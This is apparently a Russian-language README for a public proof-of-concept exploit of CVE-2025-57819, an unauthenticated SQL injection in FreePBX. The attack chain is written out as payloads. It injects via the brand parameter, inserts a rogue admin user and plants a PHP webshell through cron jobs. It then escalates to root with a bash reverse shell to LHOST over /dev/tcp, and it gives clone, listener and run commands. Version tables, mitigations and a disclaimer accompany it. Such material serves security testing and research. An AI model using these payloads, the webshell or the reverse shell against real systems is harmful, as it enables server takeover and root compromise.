
Python proof-of-concept, эксплуатирующий CVE-2025-57819 — неаутентифицированную SQL-инъекцию в FreePBX, которая объединяет в цепочку создание администратора, развёртывание cron-вебшелла и повышение привилегий до root.
Только для образовательных целей и исследований в области безопасности — см. юридическое уведомление ниже
Доказательство концепции эксплуатации для CVE-2025-57819 — критической неаутентифицированной уязвимости SQL-инъекции в FreePBX, позволяющей удалённое выполнение кода. Данный PoC опубликован после выпуска официальных патчей исключительно для исследований в области безопасности и авторизованного тестирования.
FreePBX версий 15.x, 16.x и 17.x (ниже пропатченных версий) уязвимы к неаутентифицированной SQL-инъекции в AJAX-обработчике модуля endpoint. Эта цепочка уязвимостей позволяет:
| CVE ID | CVE-2025-57819 |
| Тип | Неаутентифицированная SQL-инъекция (на основе ошибок) |
| CVSS | 9.8 / 10.0 (Критический) |
| Затронуты | FreePBX 15 < 15.0.66, 16 < 16.0.89, 17 < 17.0.3 |
| Исправлено | 15.0.66, 16.0.89, 17.0.3+ |
| CISA KEV | Да (29 августа 2025 г.) |
GET /admin/ajax.php?brand=<PAYLOAD>
Параметр brand в AJAX-обработчике модуля endpoint принимает пользовательский ввод без валидации, что приводит к SQL-инъекции на основе ошибок.
Проверьте SQLi с помощью извлечения на основе ошибок через EXTRACTVALUE() для получения имени базы данных:
x' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT DATABASE()),0x7e))-- -
Вставьте нового административного пользователя в asterisk.ampusers:
INSERT INTO ampusers (username, password_hash, admin)
VALUES ('pbx_xxxxxxxx', '<MD5_HASH>', 1)
При наличии действительных учётных данных администратора эксплойт проходит аутентификацию в FreePBX и устанавливает аутентифицированную сессию. Файлы cookie сессии сохраняются и используются для всех последующих аутентифицированных запросов.
Внедрение команды веб-оболочки в asterisk.cron_jobs:
INSERT INTO cron_jobs (modulename, jobname, command, class, schedule, max_runtime, enabled, execution_order)
VALUES ('sysadmin', 'wx', 'echo <BASE64_WEBSHELL>|base64 -d >/var/www/html/shell.php', NULL, '* * * * *', 30, 1, 1)
Планировщик cron FreePBX выполняет команду от имени пользователя asterisk, разворачивая PHP-вебшелл.
PHP-вебшелл разворачивается в /var/www/html/shell.php:
<?php system($_GET['cmd']); ?>
Exploit опрашивает веб-шелл до активации, достигая RCE от имени пользователя asterisk (uid=999).
Если на целевой системе настроен incron:
/var/spool/asterisk/incron/incrond (работающий от root) обнаруживает создание файла/usr/bin/sysadmin_manager с именем файла-триггераsysadmin_manager проверяет подпись GPG и передаёт управление хуку fwconsole-commands/usr/sbin/fwconsole <COMMAND>help; bash -i >& /dev/tcp/LHOST/LPORT 0>&1Результат: root-шелл на обратном слушателе (если incron доступен).
brandasterisk.cron_jobs выполняет команды от имени asteriskgit clone https://github.com/JazzTheRabbit/cve-2025-57819.git
cd cve-2025-57819
pip3 install requests
chmod +x JTR-CVE-2025-57819.py
# Setup Netcat Listener
nc -lvnp <Listener Port>
# Run The Exploit
python3 JTR-CVE-2025-57819.py <TARGET_IP> <YOUR_IP> <PORT>

| Версия | Статус |
|---|---|
| 15.0.0 - 15.0.65 | Уязвима |
| 15.0.66+ | Исправлена |
| 16.0.0 - 16.0.88 | Уязвима |
| 16.0.89+ | Исправлена |
| 17.0.0 - 17.0.2 | Уязвима |
| 17.0.3+ | Исправлена |
Незамедлительные:
/admin/ajax.php из недоверенных сетейsystemctl disable incrondПостоянные: Обновитесь до исправленных версий: 15.0.66+, 16.0.89+ или 17.0.3+
⚠️ ОТКАЗ ОТ ОТВЕТСТВЕННОСТИ
Данное proof of concept предоставляется ИСКЛЮЧИТЕЛЬНО ДЛЯ АВТОРИЗОВАННОГО ТЕСТИРОВАНИЯ БЕЗОПАСНОСТИ И ОБРАЗОВАТЕЛЬНЫХ ЦЕЛЕЙ. Автор не несёт ответственности за неправомерное использование или ущерб, причинённый этим инструментом.
ВЫ ОБЯЗАНЫ СОБЛЮДАТЬ:
ЗАПРЕЩЁННОЕ ИСПОЛЬЗОВАНИЕ:
ОТКАЗ ОТ ОТВЕТСТВЕННОСТИ: Автор не несёт ответственности за:
Эта уязвимость:
JazzTheRabbit
MIT License